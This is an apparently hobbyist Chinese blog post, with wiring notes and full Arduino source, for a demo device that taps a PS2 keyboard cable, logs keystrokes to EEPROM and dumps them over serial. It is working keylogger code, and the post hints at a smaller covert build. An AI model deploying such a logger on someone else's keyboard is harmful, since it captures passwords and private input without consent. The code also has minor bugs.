这是一个能够记录PS2键盘发出的按键信息的演示装置。
使用的元件:
Arduino UNO 一块
PS2 延长线(一端公头,一端母头) 一根
测试钩 三根
首先要将PS2延长线剥开,其中有四根线,分别是 Vcc/GND/Clock/Data。我们只需要钩取其中除了Vcc之外的三根线。
特别说一下这几根线的分布,在公头端和母头端看过去的Pin编号是对称的,如下图所示(网上有人说一些资料搞错了,我看了一下,是他本人搞错了公母而已)。选好线之后务必使用万用表确定接线无误。
连接方面,上面图片中白色测试钩钩取的是黄色线 GND;绿色测试钩钩取的是红色Data;白色测试钩钩取的是白色线 Clock。
PS2 头和线色对应关系如下图:
程序调用了PS2Keyboard library 【参考1】,用它来做PS2 协议的解码。调用的方式就是keyboard.begin(DataPin, IRQpin); DataPin 要给出Arduino上连接到 PS2 Data的Pin脚;IRQpin 要给出Arduino上连接到 PS2 Clock的Pin脚。本例中,分别是 Pin8 和 Pin2。
开始运行后, Setup()中会在串口输出一个菜单,提示如果输入 P ,那么会直接打印出 Arduino板载 EEPROM中的内容(UNO 的EEPROM不大,只有1K【参考2】。前面2个Byte用来存放一个记录当前要写入的位置。其余位置用来存储记录的键值。如果超过1K,那么返回开始处重新覆盖)。如果5秒之内没有输入 P ,那么程序会运行loop() 中的代码。先使用PS2Keyboard library 进行解码,然后每次都要从EEPROM中取出前2个Bytes组成一个指针,指示要将这个键值要存放在EEPROM中的位置。
#include "PS2Keyboard.h"
#include <EEPROM.h>
const int DataPin = 8;
const int IRQpin = 2;
const int MaxLength = 1024;
PS2Keyboard keyboard;
int SaveTo;
void setup() {
boolean TimeOutMark=true;
keyboard.begin(DataPin, IRQpin);
Serial.begin(9600);
Serial.write("Keyboard Logger for Arduino\n");
Serial.write("www.lab-z.com 2014.5\n");
Serial.write(" p - for output record \n");
unsigned long _time = millis(); //用于超时
while ((millis() - _time) < 5000)
{
char inChar = Serial.read();
if ((inChar == 'p') || (inChar == 'P'))
{
TimeOutMark=false;
for (int i=2; i<MaxLength; i++)
{
char c = EEPROM.read(i) ;
// check for some of the special keys
if (c == PS2_ENTER) {
Serial.println();
} else if (c == PS2_TAB) {
Serial.print("[Tab]");
} else if (c == PS2_ESC) {
Serial.print("[ESC]");
} else if (c == PS2_PAGEDOWN) {
Serial.print("[PgDn]");
} else if (c == PS2_PAGEUP) {
Serial.print("[PgUp]");
} else if (c == PS2_LEFTARROW) {
Serial.print("[Left]");
} else if (c == PS2_RIGHTARROW) {
Serial.print("[Right]");
} else if (c == PS2_UPARROW) {
Serial.print("[Up]");
} else if (c == PS2_DOWNARROW) {
Serial.print("[Down]");
} else if (c == PS2_DELETE) {
Serial.print("[Del]");
} else {
// otherwise, just print all normal characters
Serial.print(c);
} // End of else
}//End of for
} //End of if ((inChar = 'p') || (inChar = 'P'))
}// End of While
if (TimeOutMark==true) {Serial.write("Timeout occured!\n"); }
else {Serial.write('\n Output End!');}
EEPROM.write(0,2);
EEPROM.write(1,0);
} // End of Setup
void loop() {
char c;
if (keyboard.available()) {
// read the next key
c = keyboard.read();
Serial.print(c);
SaveTo = EEPROM.read(0) + (EEPROM.read(1) <<8);
EEPROM.write(SaveTo,c);
SaveTo++;
if (SaveTo>MaxLength) {SaveTo=2;}
EEPROM.write(0,SaveTo);
EEPROM.write(1,(SaveTo >> 8));
}
}
实验中使用的是一个USB键盘,通过USB转PS2转为电脑上能使用的PS2 (资料上说现在的USB键盘内置2种协议,根据当前插入的接口自动选择输出的协议)。该键盘通过上面提到的PS2延长线接入电脑。记录结果如下:
因为尺寸的原因,可以看出来这个东西只有演示的价值,如果真想做一个实用性的东西,还要选择PIC系列的小尺寸单片机加上SPI ROM………
下载
KeyLog
参考:
1.http://playground.arduino.cc/Main/PS2Keyboard
2.Arduino上的单片机自带EEPROM 328P 有 1024字节
http://wiki.geek-workshop.com/doku.php?do=export_xhtml&id=arduino:libraries:eeprom。




